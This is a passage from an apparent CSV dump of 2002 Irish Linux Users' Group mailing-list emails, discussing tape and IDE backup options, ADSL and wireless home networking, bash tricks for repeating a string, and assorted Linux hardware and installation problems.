where in Ireland I can get a replacement external dongle >>for a Xircom CE3B-100 PCMCIA NIC? >> >>Failing that, who delivers fastest to Ireland? >> >>Regards, >> >>Vin > > I went into Maplin looking for exactly this sort of thing, only to be told I > would have to by a whole new card..... > Buy & Sell I'd say else just by a new NIC...(which I didn't do) I just live > with the fact I have to angle the CAT 5 at a certain angle to my NIC or the > dongle will fall out! Well, I went hunting online and it is definitely possible to get replacement dongles, specifically for this card but also for others. Tricky though ;-) Vin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """wintermute"" ",,"Fri, 16 Aug 2002 14:36:09 +0100",Re: [ILUG] replacement xircom dongle?,"> Anyone know where in Ireland I can get a replacement external dongle > for a Xircom CE3B-100 PCMCIA NIC? > > Failing that, who delivers fastest to Ireland? > > Regards, > > Vin I went into Maplin looking for exactly this sort of thing, only to be told I would have to by a whole new card..... Buy & Sell I'd say else just by a new NIC...(which I didn't do) I just live with the fact I have to angle the CAT 5 at a certain angle to my NIC or the dongle will fall out! -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Liam Bedford ,ilug@linux.ie,"Fri, 16 Aug 2002 14:09:25 +0100",Re: [ILUG] Autorun CDs,"On Fri, Aug 16, 2002 at 01:59:55PM +0100, Padraig Brady wrote: > Kenn Humborg wrote: > >>Cheers All for your words of wisdom. > >> > >>I came across this which has worked a treat:- > >> > >>http://www.avdf.com/mar97/art_autorun.html > > > > > >(This is all Windows-related autorun stuff). > > Which was obvious since he mentioned: > `start file.html` > And the reason I didn't reply, Doh! > I actually assumed that the windows implementation was the only one he'd seen, and he wanted the same for linux. where's that Rick Moen thing about how to ask a question? L. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Vincent Cunniffe ,ilug@linux.ie,"Fri, 16 Aug 2002 14:18:18 +0100",[ILUG] replacement xircom dongle?,"Anyone know where in Ireland I can get a replacement external dongle for a Xircom CE3B-100 PCMCIA NIC? Failing that, who delivers fastest to Ireland? Regards, Vin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ciaran Johnston"" ",,"Fri, 16 Aug 2002 15:09:19 +0100 (BST)",[ILUG] Backup solutions,"Hi folks, I maintain a colocated server on behalf of a small group of individuals, and am looking at backup solutions. Is it possible to get some sort of low- end internal tape / other solution that could be used to back up approx. 40 Gigs of data or am I just dreaming? My ISP does offer backups at extra cost but the only problem with that is, well, the extra cost. What I was hoping to do was to install some kind of internal tape device, then swap tapes round every month, so I had an onsite backup of say the last 24 hours and an offsite backup of the last month. Is this feasible? I'm beginning to think it isn't. External devices are not an option as part of the charge for colocation is rackspace. Thanks, Ciaran. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Fri, 16 Aug 2002 15:28:51 +0100",RE: [ILUG] Backup solutions,"> -----Original Message----- > From: Ciaran Johnston [mailto:cj@nologic.org] > Sent: 16 August 2002 15:09 > To: ilug@linux.ie > Subject: [ILUG] Backup solutions > > Hi folks, > I maintain a colocated server on behalf of a small group of individuals, > and am looking at backup solutions. Is it possible to get some sort of > low- > end internal tape / other solution that could be used to back up approx. > 40 > Gigs of data or am I just dreaming? My ISP does offer backups at extra > cost > but the only problem with that is, well, the extra cost. > > What I was hoping to do was to install some kind of internal tape device, > then swap tapes round every month, so I had an onsite backup of say the > last 24 hours and an offsite backup of the last month. Is this feasible? > I'm beginning to think it isn't. External devices are not an option as > part > of the charge for colocation is rackspace. > > Thanks, > Ciaran. I'd recommend a good external DLT drive. You will probably need a SCSI card for that too. Mmmm. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Donncha O Caoimh ,"""Ciaran Johnston"" , ","Fri, 16 Aug 2002 15:12:32 +0100",Re: [ILUG] Backup solutions,"Use Amanda at http://www.amanda.org/ Donncha. On Friday 16 August 2002 15:09, Ciaran Johnston wrote: > Hi folks, > I maintain a colocated server on behalf of a small group of individuals, > and am looking at backup solutions. Is it possible to get some sort of low- > end internal tape / other solution that could be used to back up approx. 40 > Gigs of data or am I just dreaming? My ISP does offer backups at extra cost > but the only problem with that is, well, the extra cost. > > What I was hoping to do was to install some kind of internal tape device, > then swap tapes round every month, so I had an onsite backup of say the > last 24 hours and an offsite backup of the last month. Is this feasible? > I'm beginning to think it isn't. External devices are not an option as part > of the charge for colocation is rackspace. > > Thanks, > Ciaran. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ciaran Johnston"" ",,"Fri, 16 Aug 2002 15:18:19 +0100 (BST)",RE: [ILUG] Backup solutions,"Brian ODonoghue said: > > >> -----Original Message----- >> From: Ciaran Johnston [mailto:cj@nologic.org] >> Sent: 16 August 2002 15:09 >> To: ilug@linux.ie >> Subject: [ILUG] Backup solutions >> >> Hi folks, >> I maintain a colocated server on behalf of a small group of >> individuals, and am looking at backup solutions. Is it possible to get >> some sort of low- >> end internal tape / other solution that could be used to back up >> approx. 40 >> Gigs of data or am I just dreaming? My ISP does offer backups at extra >> cost >> but the only problem with that is, well, the extra cost. >> >> What I was hoping to do was to install some kind of internal tape >> device, then swap tapes round every month, so I had an onsite backup >> of say the last 24 hours and an offsite backup of the last month. Is >> this feasible? I'm beginning to think it isn't. External devices are >> not an option as part >> of the charge for colocation is rackspace. >> >> Thanks, >> Ciaran. > > I'd recommend a good external DLT drive. > You will probably need a SCSI card for that too. Yeah, so would I, but as I said, external ain't really an option. /Ciaran. > > Mmmm. > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription > information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ciaran Treanor"" ",,"Fri, 16 Aug 2002 15:15:27 +0100",RE: [ILUG] Mirror a website,"Thanks for the tips. The closest I've gotten to getting it working is Justins script except I can seem to prevent it from following links offsite. Typical, something that should only take a minute... Thanks for you help. ct -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Smith, Graham - Computing Technician"" ",ilug@linux.ie,"Fri, 16 Aug 2002 15:21:42 +0100",RE: [ILUG] Backup solutions,"DDS-4 will hold 40 GB, media is about 42 (ex vat)euros per tape HP do DDS-4 backup tape drives to take those but they're about 1236 euros (ex vat) and thats for an internal model (taken from DCB Groups catalogue). There are other brands and various other tape formats to choose from, but just to give you a rough benchmark of pricing for that sorta capacity. Ther are options that will go up to crazy capacities by using using multiple tapes in a caddy... of course its gonna cost a lot more. I'd also be ensuring I had some sort of disk mirroring set up also... the more redundancy the better (within reason). G. ___________________________ Graham Smith, Network Administrator, Department of Computing, Institute of Technology, Tallaght, Dublin 24 Phone: + 353 (01) 4042840 -----Original Message----- From: Ciaran Johnston [mailto:cj@nologic.org] Sent: 16 August 2002 15:09 To: ilug@linux.ie Subject: [ILUG] Backup solutions Hi folks, I maintain a colocated server on behalf of a small group of individuals, and am looking at backup solutions. Is it possible to get some sort of low- end internal tape / other solution that could be used to back up approx. 40 Gigs of data or am I just dreaming? My ISP does offer backups at extra cost but the only problem with that is, well, the extra cost. What I was hoping to do was to install some kind of internal tape device, then swap tapes round every month, so I had an onsite backup of say the last 24 hours and an offsite backup of the last month. Is this feasible? I'm beginning to think it isn't. External devices are not an option as part of the charge for colocation is rackspace. Thanks, Ciaran. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Cathal A. Ferris"" ",Ciaran Johnston ,"Fri, 16 Aug 2002 20:28:24 +0100 (IST)",Re: [ILUG] Backup solutions,"As far as I know, there are ide add-in cards that support hot-plugging of drives, not too sure if this feature is availabe on the cheaper promise/highpoint controllers, but it is definitely available on the higher-end (true ide-raid) cards. Cathal. On Fri, 16 Aug 2002, Ciaran Johnston wrote: > Vincent Cunniffe said: > > I run several co-located servers, and the solution I have adopted is > > IDE drives. They're cheap, fast, and you don't have to keep buying > > media for them. Combine it with a removable HD caddy from Peats or > > Maplins, and you have a complete onsite/offsite backup solution with 4 > > entire generations of data for about 250 (2 * 80GB/5400 drives and a > > caddy for the server). > > > > You do need 60 seconds of downtime to replace the drive, but that's > > pretty trivial if done once per month. > > Hmmm... this does sound interesting. I think it may be the way to go... I'd > still be interested in hearing people's opinions on the tape drives I > mentioned, though, esp. wrt. this solution. I know knocking a drive around > doesn't do it any good. > > /Ciaran. > > > > > > -- Cathal Ferris. pio@skynet.ie +353 87 9852077 www.csn.ul.ie/~pio --- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """AJ McKee"" ",,"Fri, 16 Aug 2002 21:14:14 +0100","RE: [ILUG] ADSL, routers and firewalls","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ok Well I am having fun with ADSL now at the moment. I had gotten the full package from eircom and elected to take the Zytel Prestige 645M (that M is very important) But alas I cannot get it to work even with another Major and popular graphical OS. So after almost 8 hours onto adsl support trying to conince them that they did actually supplu and support the 645M and not just the 643 and 645R its still not working. So, after all that I am going to try a poweredge to connect and if all else fails I will wait till Eircom send me out a replacement ( I am going to have to look for the Alcatel this time :-) But while I was doing my googleing I came acroos this http://www.roaringpenguin.com/pppoe/how-to-connect.txt http://www.roaringpenguin.com/pppoe/ And they look very cool for the beginner. Also the is a cool article on www.linux.ie about USB and ADSL with PPPoE on Linux. ANyhow when I do get it working (either with the 645 MMMMM or something else) I will put up a howto but really the above is quite cool. Aj - ---------------------------------------- AJ McKee NMTB media Phone: (Europe) +353 1 473 53 72 (North America) +1 206 339 4326 Fax: (Europe) +353 1 473 53 73 (North America) +1 206 339 4326 Website: http://www.nmtbmedia.com - ----------------------------------------- >-----Original Message----- >From: ilug-admin@linux.ie [mailto:ilug-admin@linux.ie]On Behalf Of >Brian O'Donoghue >Sent: 16 August 2002 17:42 >To: 'ilug@linux.ie' >Subject: RE: [ILUG] ADSL, routers and firewalls > > >> To get the 3 computers talking to each other, you need a hub >which you can >> pick up for a small amount of money. The internal interface of >the router >> (which may be a linux box) is connected to the hub, and the >> external interface is connected to the ADSL device. > > >Like this > > >[DSL Connection]--------[Alcatel modem]---[ehternet card1]-[Linux >box] >[ ] > [Hub]-------------[Ethernet card2]-[ >] > | > | > | > [Other machines on your lan] >The other machines on your lan reference the Linux box as their >'default gateway'... the Linux box runs nat, firewalling... dhcp(if >you want) and so on. > >-- >Irish Linux Users' Group: ilug@linux.ie >http://www.linux.ie/mailman/listinfo/ilug for (un)subscription >information. List maintainer: listmaster@linux.ie > > -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use Comment: PGP/GPG Keys located at http://www.nmtbmedia.com/keys/ iQA/AwUBPV1dFIHmA/TOOP95EQL/kgCg8Ge94omOuirLYokN1UauZzApHEQAn0In 6r/o13G+0YEgjlc/XDwQOUN1 =yGuw -----END PGP SIGNATURE----- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Declan ,ilug@linux.ie,"Fri, 16 Aug 2002 21:49:25 +0100","Re: [ILUG] ADSL, routers and firewalls","Hey there, Im using the standard ADSL package With the speedtouch usb modem I have a 3 machine network(it was a 4 machine till my laptop crapped out) Anyway I have a dedicated linux server running debian 3.0 with the ADSL modem plugged directly into it. I have a 5 port switch connecting the home net, all have their own 10/100 nic. The server runs my firewall/net gateway/etc. And I have some firewall rules for masquerading which shares the connection over the lan just nicely. Once the machine is configured for adsl (thats the tough bit) the network stuff is quite easy. I found that to be the simpelst way to go. -- Redbrick - Dublin City University Networking Society Declan McMullen - Education Officer -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Robert Fitzsimons ,Justin MacCarthy ,"Fri, 16 Aug 2002 21:19:26 +0000",Re: [ILUG] extending a HAN with Wireless..,"Hello Justin The simplest setup would be to connect a wireless access point to you hub then use a wireless pcmcia network card in your laptop. You could also get some pcmcia to pci adapters or wireless pci network cards for your desktop machines. The access point would be configured with a network name (essid) and a channel number for you wireless network. The client machine would be configured with the same network name, it should be able to auto detect the channel number. Driver support is very good, there are only a few wireless chipsets, and I believe that all but the newest 802.11b Plus (22Mbps) and 802.11a hardware has Linux drivers. If you need anymore help or info checkout the forums and irc channel at . Robert Fitzsimons robfitz@273k.net On Fri, Aug 16, 2002 at 05:39:21PM +0100, Justin MacCarthy wrote: > I have a small network at home, > > Connected by 5 port hub.... > ""smoothwall"" smoothwall server 192.168.1.1 > ""shaftoe"" Windows 2000 192.168.1.75 > ""gotodengo"" Linux 192.168.1.50 > > > The family has a new pc I want to plug in, to use the ISDN in smoothwall. > I also have a notebook. > > > I want to plug both of these into the network using a wireless connection. > What's the best way to do this??? I need to plug a wireless hub into my 5 > port hub; right? What wireless hardware is good for both Linux & windows??? > I'm know very little about wireless... > > Thanks > > Justin > > > > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Fri, 16 Aug 2002 15:33:40 -0700",Re: [ILUG] Backup solutions,"Quoting Ciaran Johnston (cj@nologic.org): > Thanks for all the replies. > > I see from > http://www.sosonline.co.uk/Shop/Product_Details.asp?DP=1215&RP=0 that > I can get a Seagate internal DDS-4 capable drive for Euro1,018.43. > This is about the limit of my spending. However, this OnStream IDE > tape drive - http://web6.scan.co.uk/Products/Info.asp?WPID=14022 > (thanks for the link, Martin) - by my calculations provides more > storage at only slightly slower speeds at half the price. Is there any > overriding reason why I should go with the more expensive and > lower-capacity DDS-4 drive other than speed? The ADR (Advanced Digital Recording) tape format is an interesting option, one I hadn't seen much of, before. Look as if OnStream (spun off from Philips Electronics in 1998) invented and rather tightly control the format, though other companies such as Verbatim do make compatible media under licence. If you're reasonably serious about backup, you need to plan for a rotational backup scheme and retirement of tapes as they become worn (and well before they start failing). That requires at least a couple of dozen tapes for the first couple of years. Therefore, cost and availability of media are (or should be) a major factor. Also, tape heads wear out and need to be replaced (more rapidly for helical-scan systems -- which ADR turns out _not_ to be), and somehow that always ends up being cheaper for tape technologies in which there is heavy competition. The less-tangible consideration that comes most immediately to mind is that, if one's OnStream ADR drive fails, the only possible replacement that would suffice to restore your accumulated backup sets is another OnStream ADR drive. In that sense, you're somewhat locked in: I'm not seeing ADR drives from anyone else (though I might have missed them). If OnStream are smart, they've priced the drives to attract people into the system, and are making up the shortfall on media cost after they get people to buy in. I see the following prices for mail order (http://www.finnsoft.com/priclist/verbat.htm) of Verbatim-brand tapes: 42 euros for 30 GB ADR tape 33 euros for 30 GB ADR tape, four-pack. 66 euros for 50 GB ADR tape. 44 euros for 50 GB ADR tape, four-pack. 47 euros for ADR cleaning tape. (You don't get much lower pricing than Verbatim, without going no-name.) Capacities are usually quoted on the basis of a nominal 2:1 compression ratio. The PDF datasheet for Onstream's ""ADR2"" series says this is a linear-serpentine recording technology (a good thing) like DLT, SDLT, and LTO, rather than a helical-scan method typified by DDS/DAT, AIT, and 8mm (which puts heavy wear on tapes on heads). I'm not sure what software other than NovaStor's TapeCopy and Yosemite Technology's Tapeware will support OnStream's drives. My recollection is that BRU will do it. On balance, I'd personally _still_ go with a DDS4 drive using either DDS3 or DDS4 media, mostly because once you've survived life with one oddball, less-standard tape format, you're not in a hurry to repeat the experience. But ADR does seem at a quick glance to be well designed, and might be a good bet after all. As they say in the gaming industry, ""Ya pays your money, and ya takes your chances."" -- ""Is it not the beauty of an asynchronous form of discussion that one can go and make cups of tea, floss the cat, fluff the geraniums, open the kitchen window and scream out it with operatic force, volume, and decorum, and then return to the vexed glowing letters calmer of mind and soul?"" -- The Cube, forum3000.org -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Kevin O' Riordan"" ",Padraig Brady ,"Sat, 17 Aug 2002 11:06:44 +0100",Re: [ILUG] expanding a string multiple times,"On Pungenday, the 9th day of Bureaucracy, Padraig Brady confessed: > How can I repeat a string an arbitrary number > of times in bash/sed/... > > I.E. I'm missing the repeat in the following: > > STRING=""> "" > NUMBER=3 > PREFIX=repeat $STRING $NUMBER > echo $PREFIX > > > > perl ? STRING=""> "" NUMBER=3 PREFIX=`perl -e ""print '$STRING' x $NUMBER;""` echo $PREFIX I'm pretty sure the bsd 'jot' utility can do this too, but I don't have it to hand. -kev -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Gavin Henrick ,ilug@linux.ie,"Sat, 17 Aug 2002 19:05:43 +0100",[ILUG] linux based IVR,"Just wondering if anyone has implemented one before, and any suggestions etc. Yes i am googling, but would like some experienced opinion if available ;) Gavin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Ronan Cunniffe ,ilug@linux.ie,"Sat, 17 Aug 2002 21:14:08 +0100",[ILUG] PNP collision avoidance question,"Hi all, I have an ISA PNP card that will use io 0x200 if available. If located at 0x200 the card never works, at 0x210 it always does. I suspect the problem is the soundcard (Creative SB PCI-64) gameport controller, which also seems to live here. I'm not using the controller, so it doesn't show in /proc/ioports, so autodetect happily puts my ISA card there. I can get the card to work easily enough using isapnptools, banning the 0x200 range in /etc/isapnp.gone, and then using ""insmod radio-cadet io=0x210"", but I'd like to get the autodetect working, so what I think I'm looking for is some way of adding ""don't go here, don't bother me"" entries into /proc/ioports. Anybody? TIA, Ronan. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Philip Reynolds ,ilug@linux.ie,"Sat, 17 Aug 2002 22:07:11 +0100",Re: [ILUG] expanding a string multiple times,"Kevin O' Riordan's [kor@compsoc.com] 30 lines of wisdom included: > > On Pungenday, the 9th day of Bureaucracy, Padraig Brady confessed: > > How can I repeat a string an arbitrary number > > of times in bash/sed/... > > > > I.E. I'm missing the repeat in the following: > > > > STRING=""> "" > > NUMBER=3 > > PREFIX=repeat $STRING $NUMBER > > echo $PREFIX > > > > > > > > perl ? > > STRING=""> "" > NUMBER=3 > PREFIX=`perl -e ""print '$STRING' x $NUMBER;""` > echo $PREFIX > > I'm pretty sure the bsd 'jot' utility can do this too, but I don't > have it to hand. I didn't think that jot was installed on Linux systems by default, so from the tone of Padraigs mail that's not what he wanted, however, if I'm incorrect (don't have a Linux system to hand) the following is the syntax. jot -b ""string"" 3 Phil. -- Philip Reynolds RFC Networks tel: 01 8832063 www.rfc-networks.ie fax: 01 8832041 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Kiall Mac Innes"" ",,"Sun, 18 Aug 2002 12:47:09 +0100",[ILUG] OffTopic: PS2 Mod-chip installation... can anyone do it?,"Sorry i know this is off topic: Ive recently gotton my hands on a mod chip for my PS2 and its needs to be solderd into the PS2, but i have never solderd before and the guy i got it off reccomended that i do not attempt to install it my self... if anyone can do it or knows someone who can e-mail me at kiall@redpie.com. DO NOT REPLY TO THIS LIST... once again sorry for the OT... Kiall Mac Innes -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Mark Conway"" ",ILUG@linux.ie,"Mon, 19 Aug 2002 09:30:17 +0100",[ILUG] RE: Newbie Question,"Regarding: Another problem I have is that I cannot install my ISDN, USB modem ( LASAT Speed Basic ), however im pretty sure its not supported by Linux, but again it is featured in the Hardware Browser, without installed drivers. Thanks for your replies.... However i still cant get it to detect the External USB modem. I also have an internal 56k fax modem, but i cannot get that detected either ( maybe its because it was designed for Windows and is not supported ). Im not going to buy a new modem ( I think 2 is more than enough for 1 PC ). It could well be my inexperience with Linux that is making this more difficult, but whatever it is iv just about had enough!! Any last gasp ideas would be welcome Many Thanks Mark -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Mon, 19 Aug 2002 10:27:57 +0100",Re: [ILUG] expanding a string multiple times,"Thanks to all for the responses, more comments below... Niall O Broin wrote: > On Fri, Aug 16, 2002 at 05:26:33PM +0100, Padraig Brady wrote: > > >>How can I repeat a string an arbitrary number >>of times in bash/sed/... >> >>I.E. I'm missing the repeat in the following: >> >>STRING=""> "" >>NUMBER=3 >>PREFIX=repeat $STRING $NUMBER >>echo $PREFIX >> >>Pdraig. >>p.s. I know how to do it with loops. > > > Well, here's a solution using seq and sed - IMHO its a rather dim solution > and it definitely dies if STRING contains / (and probably has other ways to > die too) and a bash loop would certainly be faster, but you know how to do > it with loops :-) > > PREFIX=seq -s """" $NUMBER|sed ""s/./$STRING/g""OA clever. A bit more robust is: #first param is number of #times to repeat second param # #e.g. quote=`repeat 3 '> '` repeat() { seq -s , $1 | sed ""s[0-9]\{1,\}[,]*$2g"" } btw loops in bash are shit slow! see: http://www.iol.ie/~padraiga/readline/ > And while we're on silly bash questions, is there a way of getting the exit > status of a command without using $? i.e. can I do something like > > result = some_magic_way_of_quoting(command) > > instead of > > command > result=$? > > Note that I'm not looking for backtick or $() substitution, nor arithmetic > evaluation as with $[] I don't think this is possible. thanks, Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Irish LUG list ,"Mon, 19 Aug 2002 10:34:18 +0100",[ILUG] veritas backup on linux ?,"I've a solaris box & a windows 2000 box, both with DLT drives, controlled by Veritas Backup. Can I install some sort of client on the linux box to enable it to be backed up ? A browse of the Veritas site is a little quiet on this front. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,Padraig Brady ,"Mon, 19 Aug 2002 10:46:10 +0100",Re: [ILUG] expanding a string multiple times,"On Mon, Aug 19, 2002 at 10:27:57AM +0100, Padraig Brady wrote: > > On Fri, Aug 16, 2002 at 05:26:33PM +0100, Padraig Brady wrote: > >>How can I repeat a string an arbitrary number > >>of times in bash/sed/... > >> > >>I.E. I'm missing the repeat in the following: > >> > >>STRING=""> "" > >>NUMBER=3 > >>PREFIX=repeat $STRING $NUMBER > >>echo $PREFIX huh? i missed all this. do you want the string all on one line? the string repeated over and over, but with linebreaks in between, this works: yes ""$STRING"" | head -""$NUMBER"" use sed to remove the newline i guess if you want. the utilities yes, head and sed are on pretty much every unix. kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,kevin lyda ,"Mon, 19 Aug 2002 10:53:24 +0100",Re: [ILUG] expanding a string multiple times,"kevin lyda wrote: > On Mon, Aug 19, 2002 at 10:27:57AM +0100, Padraig Brady wrote: > >>>On Fri, Aug 16, 2002 at 05:26:33PM +0100, Padraig Brady wrote: >>> >>>>How can I repeat a string an arbitrary number >>>>of times in bash/sed/... >>>> >>>>I.E. I'm missing the repeat in the following: >>>> >>>>STRING=""> "" >>>>NUMBER=3 >>>>PREFIX=repeat $STRING $NUMBER >>>>echo $PREFIX >>> > > huh? i missed all this. do you want the string all on one line? > > the string repeated over and over, but with linebreaks in between, > this works: > > yes ""$STRING"" | head -""$NUMBER"" > > use sed to remove the newline i guess if you want. the utilities yes, > head and sed are on pretty much every unix. Good. I actually looking at `yes` but I was in slow mode on Friday and didn't consider combining with `head` To remove newlines then handiest is: tr -d '\n' thanks, Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Fergal Moran"" ",,"Mon, 19 Aug 2002 10:42:23 +0100",RE: [ILUG] veritas backup on linux ?,"Yes indeed - there should be an agents directory on the Veritas CD - in the unix subdirectory there should be a file called be_agnt.tar which needs to be installed and configured. I am not sure - but I think that you may need to purchase a serial number in order to get this to work.. Fergal. > -----Original Message----- > From: John P. Looney [mailto:valen@tuatha.org] > Sent: 19 August 2002 10:34 > To: Irish LUG list > Subject: [ILUG] veritas backup on linux ? > > > I've a solaris box & a windows 2000 box, both with DLT > drives, controlled by Veritas Backup. > > Can I install some sort of client on the linux box to enable > it to be backed up ? A browse of the Veritas site is a little > quiet on this front. > > Kate > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for > (un)subscription information. List maintainer: listmaster@linux.ie > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Mel ,ilug@linux.ie,"Mon, 19 Aug 2002 11:04:02 +0100 (IST)",[ILUG] Tracking NFS users,"Lets say we have an nfs server with nfsd running really high load. nfsstat will tell you roughly how much traffic is going through with access, getattr with either client or server but it won't tell you who is doing it. Is there any way on server side to determine what client is causing the most usage, and on the client side, is there a way to determine which process? -- Mel Gorman MSc Student, University of Limerick http://www.csn.ul.ie/~mel -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Colin=20Nevin?= ,ilug@linux.ie,"Mon, 19 Aug 2002 11:50:25 +0100 (BST)",[ILUG] staroffice 6.0 installation freezes under RH7.3,"Hi All, Just wondering if anyone has ever installed StarOffice 6.0 (or Open Office), and if any have experienced any problems with the install freezing ? I'm using RedHat 7.3 kernel 2.4.18-3, and glibc 2.2.5 ? I might try downloading OpenOffice instead if it is unresolved!!!! Cheers all, Colin __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Felipe Soberon Vargas Prada ,ilug@linux.ie,"Mon, 19 Aug 2002 12:03:29 +0100",[ILUG] hwclock,"Hello, I've got a small problem but still annoying. I upgraded from RH 7.1 to RH 7.3 and everything looks ok except that the time is ahead by one hour. I've been looking the man files for hwclock and options but it simply doesn't work, it gives the following error from he shell as well as from the startup while loading the kernel: hwclock: ioctl() to /dev/rtc to turn on update interrupts failed unexpectedly, errno=25: Inappropriate ioctl for device. .... my solution at the time is to enter the setup of the PC and reduce the time by one hour (awful!) Regards, Felipe PRL, DCU -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """David O'Callaghan"" ",ilug@linux.ie,"Mon, 19 Aug 2002 12:30:44 +0100",Re: [ILUG] staroffice 6.0 installation freezes under RH7.3,"On Mon, Aug 19, 2002 at 11:50:25AM +0100, Colin Nevin wrote: > Hi All, > > Just wondering if anyone has ever installed StarOffice > 6.0 (or Open Office), and if any have experienced any > problems with the install freezing ? Maybe give us some more information about your hardware. If you happen to be using an S3 Savage graphics card (as used in the IBM Thinkpad T20 and probably others) and you get strange display problems plus the freezing problem then set this environment variable: SAL_DO_NOT_USE_INVERT50=true You will need this environment variable set when running soffice, so you should add an export line to your .bashrc. Hope this helps, David -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Mon, 19 Aug 2002 14:01:43 +0100",Re: [ILUG] expanding a string multiple times,"Niall O Broin wrote: > On Mon, Aug 19, 2002 at 10:27:57AM +0100, Padraig Brady wrote: > > >>>Well, here's a solution using seq and sed - IMHO its a rather dim solution >>>and it definitely dies if STRING contains / (and probably has other ways to >>>die too) and a bash loop would certainly be faster, but you know how to do >>>it with loops :-) >>> >>>PREFIX=seq -s """" $NUMBER|sed ""s/./$STRING/g""OA >> >>clever. A bit more robust is: >>#first param is number of >>#times to repeat second param >># >>#e.g. quote=`repeat 3 '> '` >>repeat() { >> seq -s , $1 | sed ""s[0-9]\{1,\}[,]*$2g"" >>} > > But it's such a 